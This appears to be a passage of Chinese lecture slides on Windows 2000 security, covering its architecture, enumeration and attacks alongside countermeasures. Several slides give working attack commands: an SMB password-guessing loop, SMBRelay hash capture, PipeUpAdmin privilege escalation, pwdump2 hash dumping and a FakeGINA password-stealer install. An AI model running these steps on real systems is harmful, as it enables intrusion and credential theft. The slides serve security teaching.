Windows系统安全网络和信息安全_第1页
Windows系统安全网络和信息安全_第2页
Windows系统安全网络和信息安全_第3页
Windows系统安全网络和信息安全_第4页
Windows系统安全网络和信息安全_第5页
已阅读5页,还剩163页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

Win2k系统安全(1)胡建斌北京大学网络与信息安全研究室E-mail:hjbin@/~hjbin第1页目录Win2K安全架构针对Win2K安全扫描针对Win2K攻击第2页Win2K安全架构第3页Win2K安全子系统WindowsNT设计从最初就考虑了安全问题:取得了TCSECC2认证,这在竞争激烈商业操作系统市场中是一个不错业绩Windows正处于一个类似标准评定过程中,使用通用标准(CommonCriteria,CC)为了取得更高级别(B级),Windows需要在它设计中融入一些关键元素,包含(但不限于):用于认证安全登录工具可自由设定访问控制审核Windows经过它安全子系统实现了这些功效。图2.1显示了Windows安全子系统第4页SRM(SecurityRefrenceMonitor)第5页SRM处于内核模式监视用户模式中应用程序代码发出资源访问请求并进行检验全部安全访问控制应用于全部安全主体(securityprinciple)第6页安全主体用户组计算机第7页用户帐户账户是一个参考上下文,操作系统在这个上下文描述符运行它大部分代码。换一个说法,全部用户模式代码在一个用户账户上下文中运行。即使是那些在任何人都没有登录之前就运行代码(比如服务)也是运行在一个账户(特殊当地系统账户SYSTEM)上下文中假如用户使用账户凭据(用户名和口令)成功经过了登录认证,之后他执行全部命令都含有该用户权限。于是,执行代码所进行操作只受限于运行它账户所含有权限。恶意黑客目标就是以尽可能高权限运行代码。那么,黑客首先需要“变成”含有最高权限账户第8页系统内建帐户第9页用户帐户攻击当地Administrator或SYSTEM账户是最有权力账户相对于Administrator和SYSTEM来说,全部其它账户都只含有非常有限权限所以,获取Administrator或SYSTEM账户几乎总是攻击者最终目标第10页组组是用户账户集合一个容器Windows含有一些内建组,它们是预定义用户容器,也含有不一样级别权限放到一个组中全部账户都会继承这些权限。最简单一个例子是当地Administrators组,放到该组中用户账户含有当地计算机全部权限第11页系统内建组第12页域中组当Windows系统被提升为域控制器时,同时还会安装一系列预定义组权限最高预定义组包含域管理员(DomainAdmins),它含有域中全部权限还有企业管理员(EnterpriseAdmins),它含有域森林全部权限第13页域内建组第14页组攻击当地Administrator或SYSTEM账户是最有权力账户当地Windows系统中当地Administrators组是最有吸引力目标,因为这个组组员继承了相当于管理员权限DomainAdmins和EnterpriseAdmins是Windows域中最有吸引力目标,因为用户账户加入到它们当中后将会提升为含有域中全部权限相对于Administrators、DomainAdmins和EnterpriseAdmins,全部其它组都只含有非常有限权限获取Administrators、DomainAdmins和EnterpriseAdmins组中账户几乎总是攻击者最终目标第15页特殊用户WindowsNT/含有一些特殊身份,它们是处于特定传输状态账户(比如经过网络登录)或来自于特定位置账户(比如在键盘上进行交互式登录)容器这些身份能够用来调整对资源访问控制。比如,NT/中对特定进程访问受限于INTERACTIVE(交互)用户第16页特殊用户第17页SAM(SecurityAccountsManager)在独立Windows计算机上,安全账户管理器负责保留用户账户名和口令信息口令经过散列并被加密,现有技术不能将打乱口令恢复(尽管如此,散列口令是能够被猜出)SAM组成了注册表5个配置单元之一,它在文件%systemroot%\system32\config\sam中实现在Windows域控制器上,用户账户和散列数据保留在活动目录中(默认为%systemroot%\ntds\ntds.dit)。散列是以相同格式保留,不过要访问它们必须经过不一样方法第18页SYSKEY从NT4ServicePack3开始,Microsoft提供了对SAM散列进行深入加密方法,称为SYSKEYSYSKEY是SystemKEY缩写,它生成一个随机128位密钥,对散列再次进行加密(不是对SAM文件加密,而是对散列)为了启用SYSKEY,你必须运行SYSKEY命令,第19页SYSKEY第20页森林、树、域作用域信任边界管理第21页域经过将一台或几台Windows服务器提升为域控制器,就能够很轻易地创建Windows域域控制器(DomainController,DC)是共享域信息安全存放仓库,同时也作为域中认证中央控制机构域定义了共享账户一个分布边界。域中全部系统都共用一组账户。在NT中,共享域信息从主域控制器(PrimaryDC,PDC)向备份域控制器(BackupDC,BDC)进行复制,称为单主机复制在Windows域中,全部域控制器都是对等,它们之间进行域信息复制称为多主机复制第22页树和森林因为Windows活动目录实现,域已经不再像NT中那样是逻辑上管理边界,在活动目录层次中,在域之上还存在“树”和“森林”结构树在很大程度上只是命名上约定,没有太多安全上含义,不过森林划分了Windows目录服务边界,它是管理控制根本界限第23页第24页作用域第25页信任关系Windows能够在域间形成信任关系。信任关系只是创建了域间隐含访问能力,不过并没有显式地启用信任能够是单向或双向。单向信任意味着一个域信任另一个域,反过来不存在信任。双向信任定义了两个域之间相互信任。单向信任通惯用于允许一个域中管理员定义对所在域访问控制规则,而相反则不行第26页信任关系信任能够是可传递和不可传递。可传递信任意味着假如域A传递信任域B,而域B传递信任域C,则域A就传递信任域C在默认情况下,Windows森林中全部域之间都存在可传递、双向信任Windows能够对森林外域或NT4域建立单向、不可传递信任第27页安全边界因为森林中各个域之间自动建立双向可传递信任,造成了能够分配森林中各个域权限通用组存在同一森林中其它域管理员有夺取活动目录Configuration容器全部权并对其进行修改潜在能力。这种修改将会在森林中全部域控制器上传输。于是,对于任何加入到该森林域来说,你必须确保该域域管理员能够像其它域管理员一样可信Windows森林内部实际安全边界是森林第28页域入侵威胁假设一个黑客占领了一个域控制器,森林中其它域都含有潜在危险,因为森林中任何域DomainAdmins都能够获取活动目录Configuration容器全部权并修改其中信息,并能够将对该容器修改复制到森林中其它域控制器上假如任何外部域账户在被攻入域进行认证,那么攻击者能够经过LSA口令缓存来偷取这些账户口令,这使得他影响扩大到森林中其它域假如根域被攻入,那么EnterpriseAdmins和SchemaAdmins组组员能够对森林中全部域进行全方面控制,除非在此之前你已经手动限制了这些组权限第29页SID第30页SIDWindowNT/内部对安全主体操作是经过一个称为安全标识符(SecurityIdentifier,SID)全局惟一48位数字来进行SID能够预防系统未来自计算机AAdministrator账户与来自计算机BAdministrator账户弄混第31页SIDS-1-5-21-1507001333-1204550764-1011284298-500SID带有前缀S,它各个部分之间用连字符隔开第一个数字(本例中1)是修订版本编号第二个数字是标识符颁发机构代码(对Windows来说总是为5)然后是4个子颁发机构代码(本例中是21和后续3个长数字串)和一个相对标识符(RelativeIdentifier,RID,本例中是500)第32页SID生成SID中一部分是各系统和域惟一含有,而另一部分(RID)是跨全部系统和域共享当安装Windows时,当地计算机会颁发一个随机SID。类似当创建一个Windows域时,它也被指定一个惟一SID。于是对任何Windows计算机或域来说,子颁发机构代码总是惟一(除非有意修改或复制,比如一些底层磁盘复制技术)第33页RIDRID对全部计算机和域来说都是一个常数。比如,带有RID500SID总是代表当地计算机真正Administrator账户。RID501是Guest账户在域中,从1000开始RID代表用户账户(比如,RID1015是在该域中创建第14位用户)Windows(或者使用适当工具恶意黑客)总是将含有RID500账户识别为管理员第34页其它SIDS-1-1-0 EveryoneS-1-2-0 Interactive用户S-1-3-0 CreatorOwnerS-1-3-1 CreatorGroup第35页为何不能总是使用Administrator登录C:\>netuse\\4\ipc$password/u:AdministratorSystemerror1326hasoccurred.Logonfailure:unknownusernameorbadpassword.第36页Windows会自动将当前登录用户凭据提交给网络登录企图假如用户在客户端上是使用Administrator登录,这个登录企图就会被解释为客户端希望使用当地Administrator账户登录到远程系统当然,这个账户在远程服务器上没有上下文你能够使用netuse命令来手动指定登录上下文,给出远程域、计算机名称或IP地址和用户名,并在用户名前加上反斜线,比如:

C:\>netuse\\4\ipc$password/u:domain\AdministratorThecommandcompletedsuccessfully.第37页查看SIDC:\>user2sidAdministratorS-1-5-21-1507001333-1204550764-1011284298-500Numberofsubauthoritiesis5DomainisCORPC:\>sid2user521150700133312045507641011284298500NameisAdministratorDomainisCORPTypeofSIDisSidTypeUser第38页认证、授权和审核令牌网络认证审核第39页登录认证过程首先,Windows必须确定自己是否在与正当安全主体打交道。这是经过认证实现最简单例子是经过控制台登录到Windows用户。用户按下标准CTRL+ALT+DEL组合键以打开Windows安全登录窗口,然后输入账户名称和口令。安全登录窗口将输入凭据传递给负责验证用户模式组件,如Winlogon和LSASS。假设凭据是有效,Winlogon将创建一个令牌(或称访问令牌),并将之绑定到用户登录会话上,稍后访问资源时需要提供令牌第40页令牌令牌中含有与用户账户相关全部SID,包含账户SID,还有该用户所属全部组和特殊身份(如DomainAdmins和INERACTIVE)SID能够使用whoami这么工具(包含在WindowsResourceKit中)来查看与登录会话相关SID第41页第42页第43页网络认证-挑战/应答服务器向客户端发出一个随机值(挑战)客户端使用用户口令散列对它进行加密散列函数运算,并将这个新计算出值(应答)传回服务器服务器从当地SAM或活动目录中取出用户散列,对刚发送质询进行散列运算,并将结果与客户端应答相比较于是,在WindowsNT/认证过程中,没有口令经过网络传输,即使是以加密形式也没有第44页第45页Win2K支持认证方法第46页审核审核策略:即需要统计哪些事件LSASS在系统引导时以及策略修改时将审核策略传递给安全参考监视器SRMSRM和Windows对象管理器一起生成审核统计,并将它们发送给LSASSLSASS添加相关细节(进行访问账户SID等等)并将它们提交给事件日志服务,由后者统计到安全日志中第47页第48页目录Win2K安全架构针对Win2K安全扫描针对Win2K攻击第49页扫描工具Ping小榕流之光NetScanToolsPro(NSTP)SuperScan/rdlabs/tools.php?category=ScannerFscan/rdlabs/tools.php?category=ScannerSAINTNMAP/html/Research/Tools/index.htmlNetcat(NC)第50页第51页NetBIOS查找工具NetViewNbtstatNbtscannetviewx第52页DNS查找工具NetviewNslookupNltest第53页共享资源查找工具DumpSecenumNete第54页SID查找工具user2sidSid2useruserinfoUserdumpGetAcct第55页SNMP查找工具snmputilSolarWinds第56页活动目录查找工具ldpSolarWinds第57页对策在网络或主机级别上,禁止对TCP和UDP端口135~139和445访问禁用SMB服务将RestrictAnonymous设置为2SMB(ServerMessageBlock,局域网上提供共享文件和打印机协议)第58页禁用139端口在当地连接属性窗口中,打开InternetProtocol(TCP/IP)属性,然后选择Advanced|WINS标签,有一个选项称为DisableNetBIOSoverTCP/IP,如图所表示第59页禁用SMB多数用户可能会认为禁用了TCP/IP上NetBIOS就已经成功地禁止了对他们计算机SMB访问。这是错误。这个设置只是禁用了NetBIOS会话服务,即TCP端口139Windows在TCP445上运行了另一个SMB监听程序。系统版本高于NT4ServicePack6aWindowsSMB客户端在试图与TCP139建立连接失败后,会自动转向TCP445,所以空会话依然能够被客户建立,即使TCP139已经禁用或阻塞第60页禁用445端口打开NetworkandDial-upConnections(网络和拨号连接),选择Advanced菜单中AdvancedSettings(高级设置),然后在适当适配器上取消对FileandPrinterSharingforMicrosoftNetworks(Microsoft网络文件和打印机共享)选择,如图所表示第61页第62页禁用SNMP删除SNMP代理配置为只对特定IP地址作响应第63页配置为只对特定IP地址作响应在使用惟一一台管理工作站轮询全部设备SNMP数据环境中,这是一个经典配置打开ServicesMMC|SNMPServiceProperties对话框|Security标签,选择AcceptSNMPpacketsfromthesehosts单项选择按钮,并指定你SNMP管理工作站IP地址,如图所表示第64页第65页第66页第67页目录Win2K安全架构针对Win2K安全扫描针对Win2K攻击第68页针对Win2K攻击SMB攻击权限提升取得交互扩大影响去除痕迹第69页攻击伎俩猜测用户名和密码获取密码散列利用脆弱网络服务或客户端获取对系统物理访问第70页SMB攻击猜测SMB密码窃听SMB认证第71页攻击前准备工作关闭与目标之间空连接回顾扫描结果防止账户锁定管理员主要性第72页关闭与目标之间空连接因为NT/不支持同时使用不一样凭据进行连接,我们必须使用netuse/delete命令注销现有与目标之间全部空会话(使用/y参数能够使连接关闭而不用进行提醒):C:\>netuse*/d/y第73页回顾扫描结果试验室或测试账户

在你环境中存在多少这么账户?其中有多少个位于当地Administrators组中?你是否知道这么账户密码通常是什么在注释字段中带有丰富信息用户账户

经过查点获取信息,见到过在这个字段中以明文形式写出密码。那些不愿意记住复杂密码“不幸”用户经常在注释字段中有很多提醒,其有利于密码猜测Administrators组或DomainAdmins组组员

这些账户通常是攻击者目标,因为它们拥有当地系统或域至高无上权限。同时,使用Microsoft默认工具不能锁定当地Administrator账户,这使得它成为连续密码猜测攻击目标第74页回顾扫描结果共享组账户大多数组织都倾向于在给定环境中大部分系统上重用账户凭据。比如类似于backup(备份)或admin(管理)这么账户名称。这些账户密码通常都比较轻易猜测最近一定时期内没有修改过密码账户

这通常表明用户和系统管理员对账户维护工作不重视,有可能造成潜在危险。这些账户也可能会使用在创建该账户时指定默认密码,这是很轻易猜出(通常会使用单位名称,或者是Welcome(欢迎)等单词)最近一定时期内没有登录过账户

一样,使用频率很低账户也是维护工作疏忽所造成,它们密码通常也比较轻易猜出第75页防止账户锁定-探测锁定阈值Enum–pGuest帐户猜测在Windows上,Guest账户在默认情况下是被禁用,不过假如你到达了锁定阈值,你依然能够收到提醒第76页Guest猜测C:\>netuse\\\ipc$*/u:guest

Typethepasswordfor\\mgmgrand\ipc$:Systemerror1326hasoccurred.Logonfailure:unknownusernameorbadpassword.C:\>netuse\\\ipc$*/u:guestTypethepasswordfor\\mgmgrand\ipc$:Systemerror1909hasoccurred.Thereferencedaccountiscurrentlylockedoutandmaynotbeloggedonto.第77页Guest猜测在猜测Guest(或其它账户)密码时,需要注意另外一件事是假如你确实猜对了一个已经被禁用账户密码,那么将会出现另一个不一样错误消息:C:\>netuse\\\ipc$*/u:guestTypethepasswordfor\\mgmgrand\ipc$:Systemerror1331hasoccurred.Logonfailure:accountcurrentlydisabled.在Windows中,Guest账户密码默认为空。于是,假如你连续地以空密码来猜测Guest账户,那么永远也不会到达锁定阈值(除非密码被人为修改过)第78页开始攻击猜测SMB密码第79页手工SMB密码猜测C:\>netuse\\\ipc$password/u:\usernameSystemerror1326hasoccurred.Logonfailure:unknownusernameorbadpassword.第80页可能用户名密码组合第81页使用For循环字典攻击创建字典C:\>echo>credentials.txt

administrator""administratorpasswordadministratoradministrator第82页使用For循环字典攻击猜测C:\>FOR/F"tokens=1,2*"%iin(credentials.txt)^More?donetuse\\\IPC$%j/u:\%i^More?2>>nul^More?&&echo%time%%date%>>outfile.txt^More?&&echo\\acct:%ipass:%j>>outfile.txt第83页使用For循环字典攻击查看猜测结果C:\>typeoutfile.txt11:53:43.42Wed05/09/\\acct:administrator

pass:""第84页自动攻击工具NATSMBGrindFgrind

第85页对策实施密码复杂性要求账户锁定启用登录失败事件审核查看事件日志锁定真正Administrator账户并创建一个假目标禁用闲置账户仔细核查管理人员第86页实施密码复杂性要求第87页账户锁定第88页启用登录失败事件审核第89页查看事件日志来自Foundstone企业NTLast来自Foundstone企业VisualLast来自TNTSoftware企业事件日志监视器(ELM)来自AelitaSoftware企业EventAdmin第90页锁定真正Administrator账户NT4ResourceKit中提供了一个称为passprop工具Windows上运行admnlock只能工作在安装了SP2或更高系统上,而且只有在系统或域设置了账户锁定阈值之后才会发生作用要使用admnlock在网络中锁定真正Administrator账户,运行以下命令:

C:\>admnlock/eTheAdministratoraccountmaybelockedoutexceptforinteractive

logons第91页查看事件日志来自Foundstone企业NTLast来自Foundstone企业VisualLast来自TNTSoftware企业事件日志监视器(ELM)来自AelitaSoftware企业EventAdmin第92页禁用闲置账户第93页开始攻击窃听SMB认证第94页窃听方法直接从网络电缆上嗅探SMB凭据使用坑骗性服务器捕捉SMB凭据中间人(Man-in-the-middle,MITM)攻击第95页LANManager口令散列微软在WindowsNT和系统里缺省安装了LANManager口令散列因为LANManager使用加密机制比微软现在方法脆弱,LANManager口令能在很短时间内被破解。即使是健壮口令散列也能在一个月内破解掉第96页LANManager口令散列机制长口令被截成14个字符短口令被填补空格变成14个字符口令中全部字符被转换成大写口令被分割成两个7个字符片断第97页LANManager口令散列机制

LM算法是从账户密码两个独立7个字符分段创建用户散列前8个字节来自于用户密码前7个字符,随即8个字节来自于密码第8~14个字符第98页LANManager口令散列机制每块都能够经过对全部可能8字节组合进行穷举攻击而猜出攻击全部8字节“字符空间”对于当代桌面计算机处理器来说是很轻松事情假如攻击者能够发觉用户LM散列,那么他们最终破解得到实际明文密码就很可能了第99页L0phtcrack第100页L0phtcrack不足只能从共享介质中捕捉质询-应答通信当前还不能从两个Windows系统间登录交换中获取散列经过网络监听破解质询-应答散列所需时间伴随添加密码散列数量而线性增加在使用SMBCapture之前,WinPcapv2.1报文捕捉驱动程序必须成功安装和运行当前还不能从NTLMv2质询-应答通信中得到散列第101页坑骗-将SMB登录重定向到攻击者假设攻击者能够坑骗用户连接到他所指定SMB服务器上去,捕捉LM应答就变得轻易多L0phtcrack早期版本中曾经提议了一个最基本坑骗方法:向目标用户发送一封电子邮件,其中嵌入假冒SMB服务器超级链接。用户收到这封邮件,单击超级链接(手动或自动),客户端会在不受注意情况下将该用户SMB凭据经过网络发送这么超级链接很轻易伪装,而且通常只需要与用户进行极少交互,因为假如没有明确提供其它认证信息话,Windows会自动尝试以当前用户身份登录第102页对策确保恪守网络安全最正确操作准则。在受到保护网络中使用SMB服务,确保全部网络基础设施不允许SMB通信抵达不受信任结点上配置网络中全部Windows系统,禁止LM散列在网络中传输第103页禁止发送LM散列第104页使用SMBRelay捕捉SMB认证第105页SMBRelaySMBRelay实际上是一个SMB服务器,它能够从到来SMB通信中搜集用户名和密码散列顾名思义,SMBRelay不但能够实现虚假SMB终端功效——在特定情况下,它还能够进行中间人(man-in-the-middle,MITM)攻击第106页建立假SMB服务器C:\>smbrelay/ESMBRelayv0.992?TCP(NetBT)levelSMBman-in-the-middlerelayattackCopyright:SirDystic,CultoftheDeadCowSendcomplaints,ideasanddonationstosirdystic@[2]ETHERNETCSMACD?3Com10/100MiniPCIEthernetAdapter[1]SOFTWARELOOPBACK?MSTCPLoopbackinterface第107页开启假SMB服务器C:\>smbrelay/IL2/IR2;在序号为2网络接口上建立SMBRelayv0.992?TCP(NetBT)levelSMBman-in-the-middlerelayattackCopyright:SirDystic,CultoftheDeadCowSendcomplaints,ideasanddonationstosirdystic@Usingrelayadapterindex2:3ComEtherLinkPCI第108页等候并捕捉SMB连接Connectionfrom4:1526……Requesttype:SessionMessage137bytes……Username: "administrator"Domain: "CAESARS-TS"OS: "Windows2195"Lanmantype: "Windows5.0"Passwordhashwrittentodisk第109页第110页第111页权限提升命名管道预测NetDDE第112页权限提升权限提升通常是指提升当前用户账户能力,到达含有更高权限账户,通常是超级用户,比如Administrator或SYSTEM过程从恶意黑客角度来说,获取一个普通账户,然后进行权限提升攻击,比远程进行攻击直接获取超级用户权限要轻易得多不论在哪种情况下,不论他到达了什么特权级别,经过认证攻击者都比未经过认证时要有很多到达目标选择第113页命名管道预测Guardent研究员发觉,Windows在使用命名管道时存在一个漏洞,这个漏洞允许任何交互式登录用户模仿SYSTEM账户,并使用该账户权限运行任意程序Windows使用可预测命名管道用于经过服务控制管理器(ServiceControlManager,SCM)控制服务第114页命名管道预测SCM使用一个惟一命名管道用于它开启每个服务进程间通信。这个命名管道格式是:\\.pipe\net\NtControlPipe12;其中12是管道编号。经过读取注册表主键HKLM\SYSTEM\CurrentControlSet\Control\ServiceCurrent,攻击者能够预测下一个命名管道将是\\.\pipe\net\NtControlPipe13第115页命名管道预测攻击命名管道预测攻击利用管道编号这种可预测性,它在SCM创建同名管道之前先创建这个管道当一个新服务开启时,它将连接到这个恶意管道经过命令SCM开启任意一个服务,通常是以含有高度特权账户运行服务,SCM将该服务连接到恶意管道上去。恶意管道于是就能够模仿该服务安全上下文,作为SYSTEM身份或该服务所在任意账户身份执行命令第116页PipeUpAdminPipeUpAdmin能够将当前用户账户添加到当地Administrtors组中,下面例子将说明这一点这个例子假设用户wongd已经经过了认证,能够交互地访问命令控制台wongd是ServerOperators组一位组员第117页PipeUpAdmin攻击首先,wongd对全体当地Administrators组组员进行检验C:\>netlocalgroupadministratorsAliasname administratorsCommentAdministratorshavecompleteandunrestrictedaccesstothecomputer/domainMembers-----------------------------------------------------AdministratorThecommandcompletedsuccessfully.第118页PipeUpAdmin攻击下一步,wongd试图将自己添加到Administrators组中,但收到了一条拒绝访问错误消息,因为不含有足够权限C:\>netlocalgroupadministratorswongd/addSystemerror5hasoccurred.Accessisdenied.第119页PipeUpAdmin攻击执行pipeupadminC:\>pipeupadminPipeUpAdminMaceomaceo@(C)Copyright-TheClipBookserviceisnotstarted.MorehelpisavailablebytypingNETHELPMSG3521.Impersonating:SYSTEMTheaccount:FS-EVIL\wongdhasbeenaddedtotheAdministratorsgroup.第120页PipeUpAdmin攻击检验身份C:\>netlocalgroupadministratorsAliasname AdministratorsComment Administratorshavecompleteandunrestrictedaccesstothecomputer/domainMembers-----------------------------------------------------------------AdministratorwongdThecommandcompletedsuccessfully.第121页PipeUpAdmin攻击退出并重新登录,获取administrator组用户权限很多权限提升攻击都需要这个过程,因为Windows需要重新创建当前用户访问令牌,方便加入新组组员关系SID第122页作为SYSTEM身份运行NetDDE年2月,@stakeDildog发觉了Windows2000网络动态数据交换服务(NetworkDynamicDataExchangeService,NetDDE)中一个漏洞,这个漏洞允许当地用户以SYSTEM特权运行任意命令NetDDE是使应用程序经过“受信任共享”来共享数据一个技术。经过受信任共享,能够发出请求执行应用程序,并运行在SYSTEM账户上下文中第123页第124页取得交互命令行控制GUI控制第125页交互方式一旦攻击者获取了对Windows系统管理访问,几乎没有什么方法能够阻止他将带来损害。极少有攻击者会满足于他所取得“管理”成就并满意地离开。相反,他总会深入企图获取交互式控制交互控制是查看系统内部工作状态并任意执行命令能力,就像物理上坐在系统前面一样。在Windows世界中,这能够经过两种方式之一来实现:经过命令行界面,比如类似于telnet连接,或者经过图形化界面,比如PCAnywhere、Microsoft终端服务器或其它类似远程控制产品当然,攻击者不会希望使用这种重量级技术,他们需要是小、易于隐藏控制方法第126页命令行控制Remote.exeNetusenetcat第127页Remote.exeremote.exe来自于WindowsNT/ResourceKitremote.exe能够运行于服务器模式或客户端模式要使用remote.exe获取目标Windows系统命令行控制,你必须进行以下步骤操作:第128页Remote.exe1. 与目标之间创建管理连接:C:\>netuse\\\ipc$password/u:administrator2. 将一个驱动器映射到管理共享C$:C:\>netuse*\\\c$DriveD:isnowconnectedto\\\c$.Thecommandcompletedsuccessfully.第129页Remote.exe3. 将remote.exe复制到目标上一个目录中:C:\>copyremote.exed:\winnt\system324. 调用sc命令开启计划任务服务:C:\>sc\\startschedule5. 确定远程系统上时间:C:\>nettime\\6. 使用at命令开启remote.exe程序,运行为服务器模式:C:\>at\\2:12A摂remote/scmdhackwin“”第130页Remote.exe7. 检验是否已经经过at命令开启了remote.exe程序:C:\>at\\StatusID Day Time CommandLine------------------------------------------------------------- 21 Today 2:12AM remote/scmdhackwin8. 以客户端模式运行remote.exe程序,连接到目标系统:C:\>remote/chackwin第131页扩大影响确定审核密码提取密码破解文件搜索GINA木马嗅探跳板端口重定向第132页确定审核Windows审核能够在事件日志或syslog中统计下特定事件,以审查历史。日志甚至能够用来触发向系统管理员发出寻呼警告或电子邮件所以,确定审核状态通常是帮助了解黑客在系统上所能够停留时间不错方法auditpol第133页auditpolC:\>auditpol\\Running(X)AuditEnabledSystem =SuccessandFailureLogon =FailureObjectAccess =SuccessandFailurePrivilegeUse =SuccessandFailure第134页密码提取系统中密码存放有很各种不一样方式我们将讨论保留密码各种不一样位置,以及用来获取这些密码方法第135页获取可逆加密密码只有在活动目录域控制器上才能够使用LocalSecuritySetting:StorePasswordswithReversibleEncryption(当地安全设置:以可逆加密形式存放密码)选项。在默认情况下,这个设置是被禁用,也就是说,密码不是以可逆加密形式存放——这是有利于安全不过,假如有些人启用了这个设置,那么在此之后新创建密码将依然以普通SAM/AD散列形式存放,不过是以一个独立、可逆加密格式保留。与单向散列不一样,在知道了加密密钥情况下,这种格式能够被反向解密为明文密码第136页获取可逆加密密码假如攻击者攻入了域控制器,他们很可能会马上检验这个设置,假如发觉它被启用,那么攻击者将能够利用工具来获取整个域中全部些人明文密码当前,还没有哪种公开公布工具能够完成这项工作,不过因为很多API文档非常丰富完整,所以编写这么程序应该是很简单第137页转存SAM和活动目录密码从注册表中转存密码是一项简单工作系统默认syskey是安全账户管理器(SecurityAccountsManager,SAM)或活动目录(AD)数据库。这意味着系统中用户名和密码是使用128位加密,使得破解密码几乎是不可能。不过不要担心,经过使用由ToddSabin编写经过修改pwdump2工具,依然有方法能够获取加密密码散列Pwdump2使用了一个称为动态加载库(DynamicallyLoadableLibrary,DLL)注入技术。这种技术能够经过一个进程强制其它进程装载附加DLL,然后在其它进程地址空间和用户上下文中运行这个DLL中代码第138页Pwdump2C:\>copypwdump2.exe\\\c$C:\>copysamdump.dll\\\c$远程C:\>pwdump2Administrator:500:e6efe4be4568c7fdaad3b435b51404ee:fd64812d22b9b94638c2a7ff8c49ddc6:::george:1006:315b02fdd7121d6faad3b435b51404ee:d1cd4a77400159a23c47ce7e8808513d:::Guest:501:aad3b435b51404eeaad3b435b51404ee:第139页密码破解一旦从远程系统获取了加密密码或散列,攻击者通常会把它们保留在文件中,并对它们运行密码破解程序以发觉真正密码很多人错误地认为密码破解是解密密码。事实并非如此——当前还没有方法能够对使用NT/算法加密密码散列进行解密。密码破解过程实际上是使用相同算法对已知值进行散列运算,然后将结果与使用pwdumpX等工具获取散列进行比较。假如散列匹配,那么攻击者就知道了密码明文值。所以,密码破解能够被认为是一个高级、离线密码猜测方法。第140页密码破解工具JohntheRipperL0phtcrack3第141页文件搜索findFindstrGrepInvisiableKeyloggerStealyh(IKS)击键统计工具第142页GINA木马GINA(GraphicalIdentificationandAuthorization,图形化判定和授权)是用户和Windows认证系统之间中间人当你开启你计算机时,屏幕上要求你按下CTRL+ALT+DEL进行登录时候,这正是GINA在工作当然,因为GINA本身保密性质,很多黑客很关注它破解。特定程序能够将自己介入到用户和操作系统之间,从而窃取用户密码第143页GINA木马-FakeGINA来自Ntsecurity.nuArneVidstrom开发FakeGINA是IKS等击键统计程序替换品。这个程序能够介入到Winlogon和GINA之间通信当中去,捕捉在CTRL+ALT+DEL之后输入用户名和密码然后FakeGINA会将捕捉用户名和密码写入到一个文本文件中去。这个程序是经过替换注册表中现有msgina.dll来到达这个目标第144页FakeGINA安装为了远程安装这个程序,攻击者需要按照下面步骤进行操作:1. 将fakegina.dll复制到远程驱动器%SystemRoot%\system32目录中去。C:\>copyfakegina.dll\\\admin$\system322. 使用ResourceKit工具reg.exe,向Windows注册表中加入以下键值:C:\>regadd“SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\GinaDLL=fakegina.dll?REG_SZ\\Connectingtoremotemachine\\Theoperationcompletedsuccessfully.3. 使用ResourceKit工具shutdown重新开启系统:C:\>shutdown\\/R/T:1/Y/C第145页FakeGINA安装4. 等候用户登录,然后查看文件%SystemRoot%\system32\passlist.txt中原始登录用户名和密码。假设攻击者已经将C$共享映射为他I:驱动器:I:\WINNT\system32>typepasslist.txtFRED-W2KS\Stun0t4u2cFRED-W2KS\Administratorh4pped4ze你能够看到,用户Stu密码为“n0t4u2c”,Administrator密码为“h4pped4ze”。攻击者在搜集了这个密码之后能够继续等候其它用户登录,并开始对网络下一步攻击。第146页嗅探工具SnifferFsniffDsniffforWin32Ethereal第147页中继跳板攻击者获取了一个系统访问权所造成最大危险可能在于他能够利用这个系统作为跳板,从而深入攻击其它系统这种利用一个侵入系统攻击其它原本不能够到达系统能力称

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论